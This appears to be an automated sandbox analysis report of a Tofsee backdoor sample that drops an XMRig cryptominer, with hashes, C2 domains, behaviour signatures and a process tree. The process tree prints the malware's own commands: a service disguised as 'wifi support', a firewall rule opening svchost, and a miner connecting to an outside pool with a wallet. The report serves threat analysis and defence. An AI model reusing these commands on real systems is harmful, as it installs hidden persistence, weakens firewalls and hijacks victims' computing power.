Analysis

  • max time kernel
    175s
  • max time network
    205s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 23:33

General

  • Target

    84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe

  • Size

    247KB

  • MD5

    17f7e745dbc9477f5edbb4a02df91b06

  • SHA1

    896216645904844e1c012a4ce76234d0c6795f97

  • SHA256

    84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96

  • SHA512

    b36ee1060d897d5b19e0e779ca48f9a7a336bcce2700c9c6c6eb549dfd9a49174262d39655079e0704a44749e280aefcb9813da4b7ce354b2105b74f374c2e9b

  • SSDEEP

    6144:h/1BvthPXgbdbpePeXYD4JFKtFF9duXI5:J1FLfOBsee44F9duXI

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe
    "C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2640
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gzvsojta\
      2⤵
        PID:2656
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbxmhzxf.exe" C:\Windows\SysWOW64\gzvsojta\
        2⤵
          PID:2720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gzvsojta binPath= "C:\Windows\SysWOW64\gzvsojta\lbxmhzxf.exe /d\"C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gzvsojta "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gzvsojta
          2⤵
          • Launches sc.exe
          PID:2548
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2520
      • C:\Windows\SysWOW64\gzvsojta\lbxmhzxf.exe
        C:\Windows\SysWOW64\gzvsojta\lbxmhzxf.exe /d"C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:776
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1644

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\lbxmhzxf.exe

              Filesize

              10.3MB

              MD5

              218f28ef61ea43ae8b3835e7a7fcfb23

              SHA1

              a966330ee48bb39513eafd1f8408c10f268f7c5a

              SHA256

              766ab39f96f1e213cba54fcc1d05d111a62548b38a2111a7aa50f0bb5285d775

              SHA512

              add08d5e7d726ec986fa4aadfd690d4d98798f0e448650615fc09e60f7f0bc4aaa98a28ae6769fa8940b43664df6621231895f819f36b28e2998cc980fdc3c9d

            • C:\Windows\SysWOW64\gzvsojta\lbxmhzxf.exe

              Filesize

              10.3MB

              MD5

              218f28ef61ea43ae8b3835e7a7fcfb23

              SHA1

              a966330ee48bb39513eafd1f8408c10f268f7c5a

              SHA256

              766ab39f96f1e213cba54fcc1d05d111a62548b38a2111a7aa50f0bb5285d775

              SHA512

              add08d5e7d726ec986fa4aadfd690d4d98798f0e448650615fc09e60f7f0bc4aaa98a28ae6769fa8940b43664df6621231895f819f36b28e2998cc980fdc3c9d

            • memory/776-49-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-16-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/776-62-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/776-58-0x0000000000330000-0x0000000000337000-memory.dmp

              Filesize

              28KB

            • memory/776-57-0x0000000005880000-0x0000000005C8B000-memory.dmp

              Filesize

              4.0MB

            • memory/776-54-0x0000000005880000-0x0000000005C8B000-memory.dmp

              Filesize

              4.0MB

            • memory/776-53-0x00000000001A0000-0x00000000001A5000-memory.dmp

              Filesize

              20KB

            • memory/776-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/776-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/776-39-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-37-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-50-0x00000000001A0000-0x00000000001A5000-memory.dmp

              Filesize

              20KB

            • memory/776-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/776-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/776-23-0x00000000019A0000-0x0000000001BAF000-memory.dmp

              Filesize

              2.1MB

            • memory/776-26-0x00000000019A0000-0x0000000001BAF000-memory.dmp

              Filesize

              2.1MB

            • memory/776-27-0x0000000000160000-0x0000000000166000-memory.dmp

              Filesize

              24KB

            • memory/776-30-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-33-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-34-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-35-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-36-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-48-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-38-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-47-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-40-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-41-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-42-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-43-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-44-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-45-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/776-46-0x0000000000170000-0x0000000000180000-memory.dmp

              Filesize

              64KB

            • memory/1644-63-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1644-77-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1644-76-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1644-75-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1644-74-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1644-73-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/1644-65-0x0000000000110000-0x0000000000201000-memory.dmp

              Filesize

              964KB

            • memory/2640-6-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2640-8-0x0000000000230000-0x0000000000243000-memory.dmp

              Filesize

              76KB

            • memory/2640-7-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2640-2-0x0000000000230000-0x0000000000243000-memory.dmp

              Filesize

              76KB

            • memory/2640-1-0x0000000000600000-0x0000000000700000-memory.dmp

              Filesize

              1024KB

            • memory/2640-3-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2788-11-0x00000000006D0000-0x00000000007D0000-memory.dmp

              Filesize

              1024KB

            • memory/2788-13-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2788-17-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB